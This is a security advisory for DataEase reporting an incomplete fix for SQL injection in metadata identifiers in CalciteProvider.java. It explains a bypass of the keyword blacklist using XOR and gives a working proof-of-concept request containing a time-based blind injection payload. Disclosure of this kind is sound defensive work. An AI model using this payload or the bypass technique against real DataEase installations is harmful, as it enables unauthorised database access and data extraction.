SQL Injection in Datasource Metadata Identifiers (Incomplete Fix for GHSA-8hgp-vw27-hxph)
Description
Impact
Summary
The published fix for GHSA-8hgp-vw27-hxph ("SQL Injection in datasource metadata identifiers", published 2026-07-30) did not take effect across the metadata sinks listed in the original advisory. In DataEase v2.10.26 and v3.0.0, user-supplied table and metadata identifiers in CalciteProvider.java remain unparameterized and unescaped. An authenticated attacker can perform boolean- and time-based blind SQL injection via the /de2api/datasetData/tableField endpoint by exploiting single-quote handling gaps and using XOR to bypass the keyword word-boundary checks. The injected SQL executes with the credentials DataEase stores for the target datasource, allowing attackers with read permissions to bypass table- and dataset-level permission boundaries.
Affected Code
The four sinks originally enumerated in GHSA-8hgp-vw27-hxph remain unpatched in core/core-backend/src/main/java/io/dataease/datasource/provider/CalciteProvider.java:
getTableFiledSql(MySQL, DB2, PostgreSQL, SQL Server families): Lines 1321, 1346, 1486 directly interpolate table and schema names into single-quoted string literals usingString.format: ```java // CalciteProvider.java:1321 & 1346 sql = String.format("... WHERE TABLE_SCHEMA = '%s' AND TABLE_NAME = '%s'", database, datasourceRequest.getTable());
// CalciteProvider.java:1486 sql = String.format("... WHERE TABLE_NAME = '%s'", datasourceRequest.getTable()); ```
getSchemaSql(DB2 family): ``java // CalciteProvider.java:1715 return "select SCHEMANAME from syscat.SCHEMATA WHERE \"DEFINER\" ='USER'" .replace("USER", configuration.getUsername().toUpperCase());``- Oracle session configuration: ```java // CalciteProvider.java:685 statement.executeUpdate("ALTER SESSION SET CURRENT_SCHEMA = "
- datasourceConfiguration.getSchema()); ```
getTableTypeMap: ``java // CalciteProvider.java:268 String sql = "SELECT * FROM$TABLE_NAME$LIMIT 0 OFFSET 0" .replace("$TABLE_NAME$", schemaTable);``
While getTablesSql in CalciteProvider.java was parameterized in v2.10.26, the getTableFiledSql and related identifier sinks listed above were not parameterized or escaped, leaving them open to exploitation on both dev-v2 and v3.0.0.
Technical Analysis
The vulnerability in getTableFiledSql can be exploited due to three compounding weaknesses:
- Validation helper ignores single quotes: The
validateSqlInjectionRiskmethod relies onSQL_INJECTION_PATTERNS_FOR_VALUES(Pattern.compile("[\";]")), which intentionally excludes single quotes (') to permit strings such as "O'Brien":`java public static void validateSqlInjectionRisk(String value) { ... }`` - Missing string escaping at call site: The call site in
getTableFiledSqlinvokesvalidateSqlInjectionRiskbut omits the required subsequenttransValuecall. The unescaped table name is then directly placed inside a single-quoted SQL literal. - Keyword word-boundary bypass via
XOR: The blacklist pattern checks for dangerous keywords using regular expression word boundaries\b: ``java Pattern.compile("\\b(or|and|union|select|insert|delete|update|drop|alter|exec|xp_cmdshell)\\b", CASE_INSENSITIVE)`In the stringXOR, the letterois immediately preceded byX(a word character), so\b(or)\bfails to match.XORis a valid logical operator in MySQL and functions as an effective substitute forOR. Additionally, blind injection functions such asSLEEP,IF,SUBSTR,USER, andDATABASE` are not present in the blacklist.
Vulnerability Reproduction / POC
Prerequisites:
- Target: DataEase v3.0.0 or v2.10.26
- Backing database: MySQL (e.g. MySQL 8.4.x)
- An authenticated user account with access to the datasource
- Precondition: The target endpoint invokes
DatasetCacheManage.validateTablebefore reaching the sink, verifying that the table exists in the target datasource. In testing, a table whose name contains the payload was created in the datasource.
Attack Request:
POST /de2api/datasetData/tableField HTTP/1.1
Content-Type: application/json
X-DE-TOKEN: <VALID_TOKEN>
X-DE-EXECUTE-VERSION: 3.0.0
{
"type": "db",
"datasourceId": "<DATASOURCE_ID>",
"isCross": false,
"info": "{\"table\":\"x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#\"}"
}Constructed Query: The server constructs and executes the query via a plain JDBC Statement:
SELECT COLUMN_NAME,DATA_TYPE,COLUMN_COMMENT,... FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = '<db>' AND TABLE_NAME = 'x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#'The single quote closes the string literal, XOR chains the conditional expression, and the # character comments out the remainder of the query.
Timing Verification: Testing boolean-based blind injection with matching vs non-matching conditions demonstrates an ~900x execution time difference:
- Condition True (
SUBSTR(USER(),1,1)='r'): ~30,192 ms ((conn=1438) Query execution was interrupted) - Condition False (
SUBSTR(USER(),1,1)='z'): ~33 ms to 36 ms (immediate normal response)
Using this timing discrepancy, database metadata and sensitive values can be extracted character-by-character.
Impact
The injected SQL executes under the context and privileges of the credentials configured for that datasource in DataEase. An authenticated user possessing only limited read access to a datasource can execute arbitrary SQL queries against the underlying database, bypassing DataEase's internal table- and dataset-level access controls.
Affected versions
- Affected versions <= v2.10.26
- Affected versions v3.0.0
Patches
The vulnerability will be addressed in v2.10.27 and v3.1.0.
References
If you have any questions or comments about this advisory:
- Open an issue in github.com/
dataease/ dataease - Email us at wei@fit2cloud.com
- Related Advisory: GHSA-8hgp-vw27-hxph